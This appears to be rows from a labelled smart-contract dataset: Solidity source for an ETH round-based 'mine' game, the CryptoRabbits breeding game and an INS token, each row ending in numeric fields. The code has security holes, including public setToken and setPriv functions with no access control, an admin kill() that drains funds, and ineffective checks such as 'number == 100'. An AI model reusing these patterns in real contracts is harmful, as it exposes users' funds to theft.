pInfoXpAdd[_senderAddress].withDrawNumber = pInfoXpAdd[_senderAddress].withDrawNumber.add(_amount);
_senderAddress.transfer(_amount.sub(_amount.div(100)));
}
function sendBalanceForDevelop(uint256 _roundID) private {
uint256 bouns = getBounsWithRoundID(_roundID).div(5);
sysDevelopAddress.transfer(bouns.div(2));
sysInviterAddress.transfer(bouns.sub(bouns.div(2)));
}
function kill() public {
require(msg.sender == sysAdminAddress,"You can't do this");
require(roundNumber>=10,"Wait patiently");
bool noPlayer;
for(uint256 i=0;i<10;i++) {
uint256 eth = rInfoXrID[roundNumber-i].increaseETH;
if(eth == 0) {
noPlayer = true;
} else {
noPlayer = false;
}
}
require(noPlayer,"This cannot be done because the user is still present");
uint256 p3dBalance = p3dContract.balanceOf(address(this));
p3dContract.transfer(sysAdminAddress,p3dBalance);
sysAdminAddress.transfer(address(this).balance);
selfdestruct(sysAdminAddress);
}
function getBounsWithRoundID(uint256 _roundID) private view returns(uint256 _bouns) {
_bouns = _bouns.add(rInfoXrID[_roundID].bounsInitNumber).add(rInfoXrID[_roundID].increaseETH);
return(_bouns);
}
function getETHNeedPay(uint256 _roundID,uint256 _dayID) private view returns(uint256 _amount) {
if(_dayID >=2) {
uint256 mineTotal = rInfoXrID[_roundID].totalMine.sub(rInfoXrID[_roundID].dayInfoXDay[_dayID].actualMine).sub(rInfoXrID[_roundID].dayInfoXDay[_dayID].increaseMine);
_amount = mineTotal.mul(getTransformRate()).div(10000);
} else {
_amount = 0;
}
return(_amount);
}
function getIncreaseBalance(uint256 _dayID,uint256 _roundID) private view returns(uint256 _balance) {
_balance = rInfoXrID[_roundID].dayInfoXDay[_dayID].increaseETH;
return(_balance);
}
function getMineInfoInDay(address _userAddress,uint256 _roundID, uint256 _dayID) private view returns(uint256 _totalMine,uint256 _myMine,uint256 _additional) {
for(uint256 i=1;i<=_dayID;i++) {
if(rInfoXrID[_roundID].increaseETH == 0) return(0,0,0);
uint256 userActualMine = rInfoXrID[_roundID].dayInfoXDay[i].mineAmountXAddress[_userAddress];
uint256 increaseMineInDay = rInfoXrID[_roundID].dayInfoXDay[i].increaseMine;
_myMine = _myMine.add(userActualMine);
_totalMine = _totalMine.add(rInfoXrID[_roundID].dayInfoXDay[i].increaseETH*50/9);
uint256 dividendsMine = _myMine.mul(increaseMineInDay).div(_totalMine);
_totalMine = _totalMine.add(increaseMineInDay);
_myMine = _myMine.add(dividendsMine);
_additional = dividendsMine;
}
return(_totalMine,_myMine,_additional);
}
function getTransformRate() private pure returns(uint256 _rate) {
return(60);
}
function getTransformMineInDay(address _userAddress,uint256 _roundID,uint256 _dayID) private view returns(uint256 _transformedMine) {
(,uint256 userMine,) = getMineInfoInDay(_userAddress,_roundID,_dayID.sub(1));
uint256 rate = getTransformRate();
_transformedMine = userMine.mul(rate).div(10000);
return(_transformedMine);
}
function calculateTotalMinePay(uint256 _roundID,uint256 _dayID) private view returns(uint256 _needToPay) {
uint256 mine = rInfoXrID[_roundID].totalMine.sub(rInfoXrID[_roundID].dayInfoXDay[_dayID].actualMine).sub(rInfoXrID[_roundID].dayInfoXDay[_dayID].increaseMine);
_needToPay = mine.mul(getTransformRate()).div(10000);
return(_needToPay);
}
function getDailyTarget(uint256 _roundID,uint256 _dayID) private view returns(uint256) {
uint256 needToPay = calculateTotalMinePay(_roundID,_dayID);
uint256 target = 0;
if (_dayID > 33) {
target = (SafeMath.pwr(((3).mul(_dayID).sub(100)),3).mul(50).add(1000000)).mul(needToPay).div(1000000);
return(target);
} else {
target = ((1000000).sub(SafeMath.pwr((100).sub((3).mul(_dayID)),3))).mul(needToPay).div(1000000);
if(target == 0) target = 0.0063 ether;
return(target);
}
}
function getUserBalance(address _userAddress) private view returns(uint256 _balance) {
if(pIDXpAdd[_userAddress] == 0) {
return(0);
}
uint256 withDrawNumber = pInfoXpAdd[_userAddress].withDrawNumber;
uint256 totalTransformed = 0;
bool islocked = checkContructIsLocked();
for(uint256 i=1;i<=roundNumber;i++) {
if(islocked && i == roundNumber) {
return;
}
for(uint256 j=1;j<rInfoXrID[i].totalDay;j++) {
totalTransformed = totalTransformed.add(getTransformMineInDay(_userAddress,i,j));
}
}
uint256 inviteEarnings = pInfoXpAdd[_userAddress].inviteEarnings;
_balance = totalTransformed.add(inviteEarnings).add(getBounsEarnings(_userAddress)).add(getHoldEarnings(_userAddress)).add(getUserP3DDivEarnings(_userAddress)).sub(withDrawNumber);
return(_balance);
}
function getUserPayedInCurrentRound(address _userAddress) public view returns(uint256 _payAmount) {
if(pInfoXpAdd[_userAddress].getPaidETHBackXRoundID[roundNumber]) {
return(0);
}
for(uint256 i=1;i<=rInfoXrID[roundNumber].totalDay;i++) {
_payAmount = _payAmount.add(rInfoXrID[roundNumber].dayInfoXDay[i].ethPayAmountXAddress[_userAddress]);
}
return(_payAmount);
}
function getPaidETHBack() public {
require(checkContructIsLocked(),"The contract is in normal operation");
address _sender = msg.sender;
uint256 paidAmount = getUserPayedInCurrentRound(_sender);
pInfoXpAdd[_sender].getPaidETHBackXRoundID[roundNumber] = true;
_sender.transfer(paidAmount);
}
function getBounsEarnings(address _userAddress) private view returns(uint256 _bounsEarnings) {
for(uint256 i=1;i<roundNumber;i++) {
uint256 winnerDay = rInfoXrID[i].winnerDay;
uint256 myAmountInWinnerDay=rInfoXrID[i].dayInfoXDay[winnerDay].ethPayAmountXAddress[_userAddress];
uint256 totalAmountInWinnerDay=rInfoXrID[i].dayInfoXDay[winnerDay].increaseETH*10/9;
if(winnerDay == 0) {
_bounsEarnings = _bounsEarnings;
} else {
uint256 bouns = getBounsWithRoundID(i).mul(14).div(25);
_bounsEarnings = _bounsEarnings.add(bouns.mul(myAmountInWinnerDay).div(totalAmountInWinnerDay));
}
}
return(_bounsEarnings);
}
function getHoldEarnings(address _userAddress) private view returns(uint256 _holdEarnings) {
for(uint256 i=1;i<roundNumber;i++) {
uint256 winnerDay = rInfoXrID[i].winnerDay;
if(winnerDay == 0) {
_holdEarnings = _holdEarnings;
} else {
(uint256 totalMine,uint256 myMine,) = getMineInfoInDay(_userAddress,i,rInfoXrID[i].totalDay);
uint256 bouns = getBounsWithRoundID(i).mul(7).div(50);
_holdEarnings = _holdEarnings.add(bouns.mul(myMine).div(totalMine));
}
}
return(_holdEarnings);
}
function getUserP3DDivEarnings(address _userAddress) private view returns(uint256 _myP3DDivide) {
if(rInfoXrID[roundNumber].totalDay <= 1) {
return(0);
}
for(uint256 i=1;i<roundNumber;i++) {
uint256 p3dDay = rInfoXrID[i].totalDay;
uint256 myAmountInp3dDay=rInfoXrID[i].dayInfoXDay[p3dDay].ethPayAmountXAddress[_userAddress];
uint256 totalAmountInP3dDay=rInfoXrID[i].dayInfoXDay[p3dDay].increaseETH*10/9;
if(p3dDay == 0) {
_myP3DDivide = _myP3DDivide;
} else {
uint256 p3dDividesInRound = p3dDividesXroundID[i];
_myP3DDivide = _myP3DDivide.add(p3dDividesInRound.mul(myAmountInp3dDay).div(totalAmountInP3dDay));
}
}
return(_myP3DDivide);
}
function checkContructIsLocked() public view returns(bool) {
uint256 time = now.sub(rInfoXrID[roundNumber].lastCalculateTime);
if(time >= 2*cycleTime) {
return(true);
} else {
return(false);
}
}
function getDefendPlayerList() public view returns(address[]) {
if (rInfoXrID[roundNumber].dayInfoXDay[dayNumber-1].playerNumber == 0) {
address[] memory playerListEmpty = new address[](0);
return(playerListEmpty);
}
uint256 number = rInfoXrID[roundNumber].dayInfoXDay[dayNumber-1].playerNumber;
if(number > 100) {
number == 100;
}
address[] memory playerList = new address[](number);
for(uint256 i=0;i<number;i++) {
playerList[i] = rInfoXrID[roundNumber].dayInfoXDay[dayNumber-1].addXIndex[i+1];
}
return(playerList);
}
function getAttackPlayerList() public view returns(address[]) {
uint256 number = rInfoXrID[roundNumber].dayInfoXDay[dayNumber].playerNumber;
if(number > 100) {
number == 100;
}
address[] memory playerList = new address[](number);
for(uint256 i=0;i<number;i++) {
playerList[i] = rInfoXrID[roundNumber].dayInfoXDay[dayNumber].addXIndex[i+1];
}
return(playerList);
}
function getCurrentFieldBalanceAndTarget() public view returns(uint256 day,uint256 bouns,uint256 todayBouns,uint256 dailyTarget) {
uint256 fieldBalance = getBounsWithRoundID(roundNumber).mul(7).div(10);
uint256 todayBalance = getIncreaseBalance(dayNumber,roundNumber) ;
dailyTarget = getDailyTarget(roundNumber,dayNumber);
return(dayNumber,fieldBalance,todayBalance,dailyTarget);
}
function getUserIDAndInviterEarnings() public view returns(uint256 userID,uint256 inviteEarning) {
return(pIDXpAdd[msg.sender],pInfoXpAdd[msg.sender].inviteEarnings);
}
function getCurrentRoundInfo() public view returns(uint256 _roundID,uint256 _dayNumber,uint256 _ethMineNumber,uint256 _startTime,uint256 _lastCalculateTime) {
DataModal.RoundInfo memory roundInfo = rInfoXrID[roundNumber];
(uint256 totalMine,,) = getMineInfoInDay(msg.sender,roundNumber,dayNumber);
return(roundNumber,dayNumber,totalMine,roundInfo.startTime,roundInfo.lastCalculateTime);
}
function getUserProperty() public view returns(uint256 ethMineNumber,uint256 holdEarning,uint256 transformRate,uint256 ethBalance,uint256 ethTranslated,uint256 ethMineCouldTranslateToday,uint256 ethCouldGetToday) {
if(pIDXpAdd[msg.sender] <1) {
return(0,0,0,0,0,0,0);
}
(,uint256 myMine,uint256 additional) = getMineInfoInDay(msg.sender,roundNumber,dayNumber);
ethMineNumber = myMine;
holdEarning = additional;
transformRate = getTransformRate();
ethBalance = getUserBalance(msg.sender);
uint256 totalTransformed = 0;
for(uint256 i=1;i<rInfoXrID[roundNumber].totalDay;i++) {
totalTransformed = totalTransformed.add(getTransformMineInDay(msg.sender,roundNumber,i));
}
ethTranslated = totalTransformed;
ethCouldGetToday = getTransformMineInDay(msg.sender,roundNumber,dayNumber);
ethMineCouldTranslateToday = myMine.mul(transformRate).div(10000);
return(
ethMineNumber,
holdEarning,
transformRate,
ethBalance,
ethTranslated,
ethMineCouldTranslateToday,
ethCouldGetToday
);
}
function getPlatformBalance() public view returns(uint256 _platformBalance) {
require(msg.sender == sysAdminAddress,"Ummmmm......Only admin could do this");
return(platformBalance);
}
function getDataOfGame() public view returns(uint256 _playerNumber,uint256 _dailyIncreased,uint256 _dailyTransform,uint256 _contractBalance,uint256 _userBalanceLeft,uint256 _platformBalance,uint256 _mineBalance,uint256 _balanceOfMine) {
for(uint256 i=1;i<=totalPlayerNumber;i++) {
address userAddress = pAddXpID[i];
_userBalanceLeft = _userBalanceLeft.add(getUserBalance(userAddress));
}
return(
totalPlayerNumber,
getIncreaseBalance(dayNumber,roundNumber),
calculateTotalMinePay(roundNumber,dayNumber),
address(this).balance,
_userBalanceLeft,
platformBalance,
getBounsWithRoundID(roundNumber),
getBounsWithRoundID(roundNumber).mul(7).div(10)
);
}
function getUserAddressList() public view returns(address[]) {
address[] memory addressList = new address[](totalPlayerNumber);
for(uint256 i=0;i<totalPlayerNumber;i++) {
addressList[i] = pAddXpID[i+1];
}
return(addressList);
}
function getUsersInfo() public view returns(uint256[7][]){
uint256[7][] memory infoList = new uint256[7][](totalPlayerNumber);
for(uint256 i=0;i<totalPlayerNumber;i++) {
address userAddress = pAddXpID[i+1];
(,uint256 myMine,uint256 additional) = getMineInfoInDay(userAddress,roundNumber,dayNumber);
uint256 totalTransformed = 0;
for(uint256 j=1;j<=roundNumber;j++) {
for(uint256 k=1;k<=rInfoXrID[j].totalDay;k++) {
totalTransformed = totalTransformed.add(getTransformMineInDay(userAddress,j,k));
}
}
infoList[i][0] = myMine ;
infoList[i][1] = getTransformRate();
infoList[i][2] = additional;
infoList[i][3] = getUserBalance(userAddress);
infoList[i][4] = getUserBalance(userAddress).add(pInfoXpAdd[userAddress].withDrawNumber);
infoList[i][5] = pInfoXpAdd[userAddress].inviteEarnings;
infoList[i][6] = totalTransformed;
}
return(infoList);
}
function getP3DInfo() public view returns(uint256 _p3dTokenInContract,uint256 _p3dDivInRound) {
_p3dTokenInContract = p3dContract.balanceOf(address(this));
_p3dDivInRound = p3dDividesXroundID[roundNumber];
return(_p3dTokenInContract,_p3dDivInRound);
}
}
interface HourglassInterface {
function buy(address _playerAddress) payable external returns(uint256);
function withdraw() external;
function myDividends(bool _includeReferralBonus) external view returns(uint256);
function balanceOf(address _customerAddress) external view returns(uint256);
function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool);
}
library DataModal {
struct PlayerInfo {
uint256 inviteEarnings;
address inviterAddress;
uint256 withDrawNumber;
mapping(uint256=>bool) getPaidETHBackXRoundID;
}
struct DayInfo {
uint256 playerNumber;
uint256 actualMine;
uint256 increaseETH;
uint256 increaseMine;
mapping(uint256=>address) addXIndex;
mapping(address=>uint256) ethPayAmountXAddress;
mapping(address=>uint256) mineAmountXAddress;
}
struct RoundInfo {
uint256 startTime;
uint256 lastCalculateTime;
uint256 bounsInitNumber;
uint256 increaseETH;
uint256 totalDay;
uint256 winnerDay;
uint256 totalMine;
mapping(uint256=>DayInfo) dayInfoXDay;
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath div failed");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 2,899 |
pragma solidity ^0.4.23;
contract Ownable {
address ownerCEO;
address ownerMoney;
address privAddress = 0x23a9C3452F3f8FF71c7729624f4beCEd4A24fa55;
address public addressTokenBunny = 0x2Ed020b084F7a58Ce7AC5d86496dC4ef48413a24;
constructor() public {
ownerCEO = msg.sender;
ownerMoney = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == ownerCEO);
_;
}
function transferOwnership(address add) public onlyOwner {
if (add != address(0)) {
ownerCEO = add;
}
}
function transferOwnerMoney(address _ownerMoney) public onlyOwner {
if (_ownerMoney != address(0)) {
ownerMoney = _ownerMoney;
}
}
function getOwnerMoney() public view onlyOwner returns(address) {
return ownerMoney;
}
function getPrivAddress() public view onlyOwner returns(address) {
return privAddress;
}
}
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
mapping(uint => address) whitelistCheck;
uint public countAddress = 0;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender]);
_;
}
constructor() public {
whitelist[msg.sender] = true;
}
function addAddressToWhitelist(address addr) onlyWhitelisted public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
countAddress = countAddress + 1;
whitelistCheck[countAddress] = addr;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function getWhitelistCheck(uint key) onlyWhitelisted view public returns(address) {
return whitelistCheck[key];
}
function getInWhitelist(address addr) public view returns(bool) {
return whitelist[addr];
}
function getOwnerCEO() public onlyWhitelisted view returns(address) {
return ownerCEO;
}
function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
}
function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721 {
function ownerOf(uint32 _tokenId) public view returns (address owner);
function approve(address _to, uint32 _tokenId) public returns (bool success);
function transfer(address _to, uint32 _tokenId) public;
function transferFrom(address _from, address _to, uint32 _tokenId) public returns (bool);
function totalSupply() public view returns (uint total);
function balanceOf(address _owner) public view returns (uint balance);
}
contract PrivateRabbitInterface {
function getNewRabbit(address from) public view returns (uint);
function mixDNK(uint dnkmother, uint dnksire, uint genome) public view returns (uint);
function isUIntPrivate() public pure returns (bool);
}
contract TokenBunnyInterface {
function isPromoPause() public view returns(bool);
function setTokenBunny(uint32 mother, uint32 sire, uint birthblock, uint birthCount, uint birthLastTime, uint genome, address _owner, uint DNK) external returns(uint32);
function publicSetTokenBunnyTest(uint32 mother, uint32 sire, uint birthblock, uint birthCount, uint birthLastTime, uint genome, address _owner, uint DNK) public;
function setMotherCount( uint32 _bunny, uint count) external;
function setRabbitSirePrice( uint32 _bunny, uint count) external;
function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
function setTotalSalaryBunny( uint32 _bunny, uint count) external;
function setRabbitMother(uint32 children, uint32[5] _m) external;
function setDNK( uint32 _bunny, uint dnk) external;
function setGiffBlock(uint32 _bunny, bool blocked) external;
function transferFrom(address _from, address _to, uint32 _tokenId) public returns(bool);
function setOwnerGennezise(address _to, bool canYou) external;
function setBirthCount(uint32 _bunny, uint birthCount) external;
function setBirthblock(uint32 _bunny, uint birthblock) external;
function setBirthLastTime(uint32 _bunny, uint birthLastTime) external;
function getOwnerGennezise(address _to) public view returns(bool);
function getAllowedChangeSex(uint32 _bunny) public view returns(bool);
function getRabbitSirePrice(uint32 _bunny) public view returns(uint);
function getTokenOwner(address owner) public view returns(uint total, uint32[] list);
function getMotherCount(uint32 _mother) public view returns(uint);
function getTotalSalaryBunny(uint32 _bunny) public view returns(uint);
function getRabbitMother( uint32 mother) public view returns(uint32[5]);
function getRabbitMotherSumm(uint32 mother) public view returns(uint count);
function getDNK(uint32 bunnyid) public view returns(uint);
function getSex(uint32 _bunny) public view returns(bool);
function isUIntPublic() public view returns(bool);
function balanceOf(address _owner) public view returns (uint);
function totalSupply() public view returns (uint total);
function ownerOf(uint32 _tokenId) public view returns (address owner);
function getBunnyInfo(uint32 _bunny) external view returns( uint32 mother, uint32 sire, uint birthblock, uint birthCount, uint birthLastTime, bool role, uint genome, bool interbreed, uint leftTime, uint lastTime, uint price, uint motherSumm);
function getTokenBunny(uint32 _bunny) public view returns(uint32 mother, uint32 sire, uint birthblock, uint birthCount, uint birthLastTime, uint genome);
function getGiffBlock(uint32 _bunny) public view returns(bool);
function getGenome(uint32 _bunny) public view returns( uint);
function getParent(uint32 _bunny) public view returns(uint32 mother, uint32 sire);
function getBirthLastTime(uint32 _bunny) public view returns(uint);
function getBirthCount(uint32 _bunny) public view returns(uint);
function getBirthblock(uint32 _bunny) public view returns(uint);
}
contract BaseRabbit is Whitelist, ERC721 {
event EmotherCount(uint32 mother, uint summ);
event ChengeSex(uint32 bunnyId, bool sex, uint256 price);
event SalaryBunny(uint32 bunnyId, uint cost);
event CoolduwnMother(uint32 bunnyId, uint num);
event Referral(address from, uint32 matronID, uint32 childID, uint currentTime);
event Approval(address owner, address approved, uint32 tokenId);
event OwnerBunnies(address owner, uint32 tokenId);
event Transfer(address from, address to, uint32 tokenId);
event CreateChildren(uint32 matron, uint32 sire, uint32 child);
TokenBunnyInterface TokenBunny;
PrivateRabbitInterface privateContract;
function setToken(address _addressTokenBunny ) public returns(bool) {
addressTokenBunny = _addressTokenBunny;
TokenBunny = TokenBunnyInterface(_addressTokenBunny);
}
function setPriv(address _privAddress) public returns(bool) {
privAddress = _privAddress;
privateContract = PrivateRabbitInterface(_privAddress);
}
function isPriv() public view returns(bool) {
return privateContract.isUIntPrivate();
}
modifier checkPrivate() {
require(isPriv());
_;
}
using SafeMath for uint256;
bool pauseSave = false;
uint256 bigPrice = 0.003 ether;
uint public commission_system = 5;
uint public totalGen0 = 0;
uint public promoGen0 = 15000;
bool public promoPause = false;
function setPromoGen0(uint _promoGen0) public onlyWhitelisted() {
promoGen0 = _promoGen0;
}
function setPromoPause() public onlyWhitelisted() {
promoPause = !promoPause;
}
function setBigPrice(uint _bigPrice) public onlyWhitelisted() {
bigPrice = _bigPrice;
}
uint32[12] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(4 minutes),
uint32(8 minutes),
uint32(16 minutes),
uint32(32 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days)
];
struct Rabbit {
uint32 mother;
uint32 sire;
uint birthblock;
uint birthCount;
uint birthLastTime;
uint genome;
}
}
contract BodyRabbit is BaseRabbit {
uint public totalBunny = 0;
string public constant name = "CryptoRabbits";
string public constant symbol = "CRB";
constructor() public {
setPriv(privAddress);
setToken(addressTokenBunny );
}
function ownerOf(uint32 _tokenId) public view returns (address owner) {
return TokenBunny.ownerOf(_tokenId);
}
function balanceOf(address _owner) public view returns (uint balance) {
return TokenBunny.balanceOf(_owner);
}
function transfer(address _to, uint32 _tokenId) public {
_to;_tokenId;
}
function approve(address _to, uint32 _tokenId) public returns (bool success) {
_to;_tokenId;
return false;
}
function getSirePrice(uint32 _tokenId) public view returns(uint) {
if(TokenBunny.getRabbitSirePrice(_tokenId) != 0){
uint procent = (TokenBunny.getRabbitSirePrice(_tokenId) / 100);
uint res = procent.mul(25);
uint system = procent.mul(commission_system);
res = res.add( TokenBunny.getRabbitSirePrice(_tokenId));
return res.add(system);
} else {
return 0;
}
}
function transferFrom(address _from, address _to, uint32 _tokenId) public onlyWhitelisted() returns(bool) {
if(TokenBunny.transferFrom(_from, _to, _tokenId)){
emit Transfer(_from, _to, _tokenId);
return true;
}
return false;
}
function isPauseSave() public view returns(bool) {
return !pauseSave;
}
function isPromoPause() public view returns(bool) {
if (getInWhitelist(msg.sender)) {
return true;
} else {
return !promoPause;
}
}
function setPauseSave() public onlyWhitelisted() returns(bool) {
return pauseSave = !pauseSave;
}
function getTokenOwner(address owner) public view returns(uint total, uint32[] list) {
(total, list) = TokenBunny.getTokenOwner(owner);
}
function setRabbitMother(uint32 children, uint32 mother) internal {
require(children != mother);
uint32[11] memory pullMother;
uint32[5] memory rabbitMother = TokenBunny.getRabbitMother(mother);
uint32[5] memory arrayChildren;
uint start = 0;
for (uint i = 0; i < 5; i++) {
if (rabbitMother[i] != 0) {
pullMother[start] = uint32(rabbitMother[i]);
start++;
}
}
pullMother[start] = mother;
start++;
for (uint m = 0; m < 5; m++) {
if(start > 5){
arrayChildren[m] = pullMother[(m+1)];
}else{
arrayChildren[m] = pullMother[m];
}
}
TokenBunny.setRabbitMother(children, arrayChildren);
uint c = TokenBunny.getMotherCount(mother);
TokenBunny.setMotherCount( mother, c.add(1));
}
function sendMoney(address _to, uint256 _money) internal {
_to.transfer((_money/100)*95);
ownerMoney.transfer((_money/100)*5);
}
function getOwnerGennezise(address _to) public view returns(bool) {
return TokenBunny.getOwnerGennezise(_to);
}
function totalSupply() public view returns (uint total){
return TokenBunny.totalSupply();
}
function getBreed(uint32 _bunny) public view returns(bool interbreed)
{
uint birtTime = 0;
uint birthCount = 0;
(, , , birthCount, birtTime, ) = TokenBunny.getTokenBunny(_bunny);
uint lastTime = uint(cooldowns[birthCount]);
lastTime = lastTime.add(birtTime);
if(lastTime <= now && TokenBunny.getSex(_bunny) == false) {
interbreed = true;
}
}
function getcoolduwn(uint32 _mother) public view returns(uint lastTime, uint cd, uint lefttime) {
uint birthLastTime;
(, , , cd, birthLastTime, ) = TokenBunny.getTokenBunny(_mother);
if(cd > 11) {
cd = 11;
}
lastTime = (cooldowns[cd] + birthLastTime);
if(lastTime > now) {
lefttime = lastTime.sub(now);
}
}
function getMotherCount(uint32 _mother) public view returns(uint) {
return TokenBunny.getMotherCount(_mother);
}
function getTotalSalaryBunny(uint32 _bunny) public view returns(uint) {
return TokenBunny.getTotalSalaryBunny(_bunny);
}
function getRabbitMother( uint32 mother) public view returns(uint32[5]) {
return TokenBunny.getRabbitMother(mother);
}
function getRabbitMotherSumm(uint32 mother) public view returns(uint count) {
uint32[5] memory rabbitMother = TokenBunny.getRabbitMother(mother);
for (uint m = 0; m < 5 ; m++) {
if(rabbitMother[m] != 0 ) {
count++;
}
}
}
function getRabbitDNK(uint32 bunnyid) public view returns(uint) {
return TokenBunny.getDNK(bunnyid);
}
function isUIntPublic() public view returns(bool) {
require(isPauseSave());
return true;
}
}
contract BunnyGame is BodyRabbit {
function createGennezise(uint32 _matron) public {
bool promo = false;
require(isPriv());
require(isPauseSave());
require(isPromoPause());
if (totalGen0 > promoGen0) {
require(getInWhitelist(msg.sender));
} else if (!(getInWhitelist(msg.sender))) {
require(!TokenBunny.getOwnerGennezise(msg.sender));
TokenBunny.setOwnerGennezise(msg.sender, true);
promo = true;
}
uint localdnk = privateContract.getNewRabbit(msg.sender);
uint32 _bunnyid = TokenBunny.setTokenBunny(0, 0, block.number, 0, 0, 0, msg.sender, localdnk);
totalGen0++;
setRabbitMother(_bunnyid, _matron);
if(_matron != 0){
emit Referral(msg.sender, _matron, _bunnyid, block.timestamp);
}
if (promo) {
TokenBunny.setGiffBlock(_bunnyid, true);
}
emit Transfer(this, msg.sender, _bunnyid);
}
function getGenomeChildren(uint32 _matron, uint32 _sire) internal view returns(uint) {
uint genome;
if (TokenBunny.getGenome(_matron) >= TokenBunny.getGenome(_sire)) {
genome = TokenBunny.getGenome(_matron);
} else {
genome = TokenBunny.getGenome(_sire);
}
return genome.add(1);
}
function createChildren(uint32 _matron, uint32 _sire) public payable returns(uint32) {
require(isPriv());
require(isPauseSave());
require(TokenBunny.ownerOf(_matron) == msg.sender);
require(TokenBunny.getSex(_sire) == true);
require(_matron != _sire);
require(getBreed(_matron));
require(msg.value >= getSirePrice(_sire));
uint genome = getGenomeChildren(_matron, _sire);
uint localdnk = privateContract.mixDNK(TokenBunny.getDNK(_matron), TokenBunny.getDNK(_sire), genome);
uint32 bunnyid = TokenBunny.setTokenBunny(_matron, _sire, block.number, 0, 0, genome, msg.sender, localdnk);
uint _moneyMother = TokenBunny.getRabbitSirePrice(_sire).div(4);
_transferMoneyMother(_matron, _moneyMother);
TokenBunny.ownerOf(_sire).transfer( TokenBunny.getRabbitSirePrice(_sire) );
uint system = TokenBunny.getRabbitSirePrice(_sire).div(100);
system = system.mul(commission_system);
ownerMoney.transfer(system);
coolduwnUP(_matron);
setRabbitMother(bunnyid, _matron);
emit Transfer(this, msg.sender, bunnyid);
return bunnyid;
}
function coolduwnUP(uint32 _mother) internal {
require(isPauseSave());
uint coolduwn = TokenBunny.getBirthCount(_mother).add(1);
TokenBunny.setBirthCount(_mother, coolduwn);
TokenBunny.setBirthLastTime(_mother, now);
emit CoolduwnMother(_mother, TokenBunny.getBirthCount(_mother));
}
function _transferMoneyMother(uint32 _mother, uint _valueMoney) internal {
require(isPauseSave());
require(_valueMoney > 0);
if (getRabbitMotherSumm(_mother) > 0) {
uint pastMoney = _valueMoney/getRabbitMotherSumm(_mother);
for (uint i=0; i < getRabbitMotherSumm(_mother); i++) {
if ( TokenBunny.getRabbitMother(_mother)[i] != 0) {
uint32 _parrentMother = TokenBunny.getRabbitMother(_mother)[i];
address add = TokenBunny.ownerOf(_parrentMother);
TokenBunny.setMotherCount(_parrentMother, TokenBunny.getMotherCount(_parrentMother).add(1));
TokenBunny.setTotalSalaryBunny( _parrentMother, TokenBunny.getTotalSalaryBunny(_parrentMother).add(pastMoney));
emit SalaryBunny(_parrentMother, TokenBunny.getTotalSalaryBunny(_parrentMother));
add.transfer(pastMoney);
}
}
}
}
function getMoney(uint _value) public onlyOwner {
require(address(this).balance >= _value);
ownerMoney.transfer(_value);
}
} | 1 | 2,329 |
pragma solidity ^0.4.18;
contract InsightsNetwork1 {
address public owner;
address public successor;
mapping (address => uint) public balances;
mapping (address => uint) public unlockTimes;
bool public active;
uint256 _totalSupply;
string public constant name = "INS";
string public constant symbol = "INS";
uint8 public constant decimals = 0;
function InsightsNetwork1() {
owner = msg.sender;
active = true;
}
function register(address newTokenHolder, uint issueAmount) {
require(active);
require(msg.sender == owner);
require(balances[newTokenHolder] == 0);
_totalSupply += issueAmount;
Mint(newTokenHolder, issueAmount);
require(balances[newTokenHolder] < (balances[newTokenHolder] + issueAmount));
balances[newTokenHolder] += issueAmount;
Transfer(address(0), newTokenHolder, issueAmount);
uint currentTime = block.timestamp;
uint unlockTime = currentTime + 365*24*60*60;
assert(unlockTime > currentTime);
unlockTimes[newTokenHolder] = unlockTime;
}
function totalSupply() constant returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) returns (bool success) {
return false;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
return false;
}
function approve(address _spender, uint256 _value) returns (bool success) {
return false;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return 0;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function getUnlockTime(address _accountHolder) constant returns (uint256) {
return unlockTimes[_accountHolder];
}
event Mint(address indexed _to, uint256 _amount);
